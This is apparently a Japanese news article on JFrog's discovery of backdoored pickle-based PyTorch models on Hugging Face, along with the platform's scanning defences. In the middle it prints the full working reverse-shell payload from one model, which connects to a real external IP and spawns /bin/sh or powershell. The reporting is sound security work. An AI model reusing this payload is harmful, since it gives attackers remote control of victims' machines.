
Hugging FaceはAIや機械学習の制作を支援するツールを提供しており、オンライン上でエンジニアが自身の機械学習プロジェクトやコードを共有可能です。
しかし一見すると自然言語処理モデルに見えますが、実際にはバックドアが仕組まれていたり、侵入リスクがあるなどのモデル 100個を発見したとDevOpsツールを提供しているJFrogが発表しています。
同社は定期的にAIモデルとオープンソースのリポジトリを定期スキャンしており、
pickle ファイルをロードした後に、そのロードがコード実行につながるモデルを発見しました。
このモデルのペイロードは、攻撃者に侵害されたマシン上のシェルを許可し、一般的に「バックドア」と呼ばれるものを通じて被害者の端末を完全に制御できるようにします。
侵入により、重要な内部システムへのアクセスが許可され、大規模なデータ侵害や企業スパイ行為への道が開かれる可能性があり、個人ユーザーだけでなく、場合によっては世界中の組織全体に影響を及ぼし、その一方で被害者は侵害された状態にまったく気づかないままになります。
さらに同社、Hugging Face だけでなく他の機械学習モデルのリポジトリでも発生する可能性がある事も指摘しています。
目次
Hugging Faceの情報 セキュリティ対策
Hugging Faceは以下のセキュリティ対策を実行しています。
マルウェアスキャン
安全でないファイルをダウンロードする前にユーザーへ警告文を出し、リポジトリの所有者へ安全でないファイルの削除を薦める
Pickle スキャン
Pickleはpythonのモジュールでオブジェクトの直列化(シリアライズ)とその復元(デシリアライズ)を行うため、 バイナリファイルで保存書き込みする事が可能になります。
Pickleは機械学習でよく利用されるシリアライズ形式で、Pickleのファイルをロードすると危険なコードを実行する事が出来る様になります。
そのため、Hugging Faceはリポジトリ内でPickleファイルの中身を表示・確認できる機能と
“safetensors”と呼ばれる、新しくシンプルな重みシリアライズ形式を試験的に導入しています。
シークレット(環境変数)スキャン
環境変数へシークレットキーなどを設定していないかを自動検知する機能
悪意のあるコード実行例
信頼できないソースから特定の種類の ML モデル (以下の表を参照) を読み込むと、コードが実行される可能性があります。
たとえば、一部のモデルは、Python オブジェクトをシリアル化するための一般的な形式である「pickle」形式を使用しますが、pickleはファイルのロード時に実行される任意のコードが含まれる場合もあります。

悪意のある モデルとペイロードの詳細
同社が特定した悪意のあるモデル100個から、どのようなペイロードが存在するかをグラフかしています。

Hugging Faceで悪意のあるモデルの分布
同社が解析した悪意のあるモデルの95%はPyTorchによるものでした。

検知された悪意あるペイロード
JFrogはballer423(※削除済み)というPyTorchモデルを検知し、そのリポジトリにあるはballer423/goober2
には
pickle モジュールの __reduce__ メソッドを使用して、悪意のあるペイロードが PyTorch モデル ファイルへ挿入される事を確認しています。
この方法を使用すると、攻撃者が任意の Python コードを逆シリアル化プロセスに挿入でき、
モデルのロード時に悪意のある動作が引き起すことが可能にあります。
RHOST = "210.117.212.93"
RPORT = 4242
from sys import platform
if platform != 'win32':
import threading
import socket
import pty
import os
def connect_and_spawn_shell():
s = socket.socket()
s.connect((RHOST, RPORT))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn("/bin/sh")
threading.Thread(target=connect_and_spawn_shell).start()
else:
import os
import socket
import subprocess
import threading
import sys
def send_to_process(s, p):
while True:
p.stdin.write(s.recv(1024).decode())
p.stdin.flush()
def receive_from_process(s, p):
while True:
s.send(p.stdout.read(1).encode())
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect((RHOST, RPORT))
break
except:
pass
p = subprocess.Popen(["powershell.exe"],
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
stdin=subprocess.PIPE,
shell=True,
text=True)
threading.Thread(target=send_to_process, args=[s, p], daemon=True).start()
threading.Thread(target=receive_from_process, args=[s, p], daemon=True).start()
p.wait()
上記コードは指定された IP アドレス210.117.212.93へリバース シェルを開始します。
この動作は直接、外部サーバーへ接続を確立します。そのため悪意があり、
単なる脆弱性のデモンストレーションではなく潜在的なセキュリティ脅威を示しています。
この例は、信頼できないソースからの機械学習モデルを扱う際の徹底的な監視とセキュリティ対策の重要性を浮き彫りにしています。
また、baller423が削除された後に同じペイロードでまざまな IP アドレスへ接続する
インスタンスがさらに発生され、1つはまだアクティブのままです。
同社は潜在的な攻撃者の意図を探るべく、HoneyPotを確立し攻撃者のサーバーへの接続を確立することに成功しましたが、残念ながら、コマンドは受信されず、1 日後に接続が突然終了しました。

JFrogによれば、悪意のあるアップロードの一部は、Hugging Faceのセキュリティ対策を回避し、
バグ報奨金を徴収することを目的としたセキュリティ研究の一部である可能性があるが、危険なモデルが一般公開されるため、リスクを過小評価すべきではないとしています。
関連記事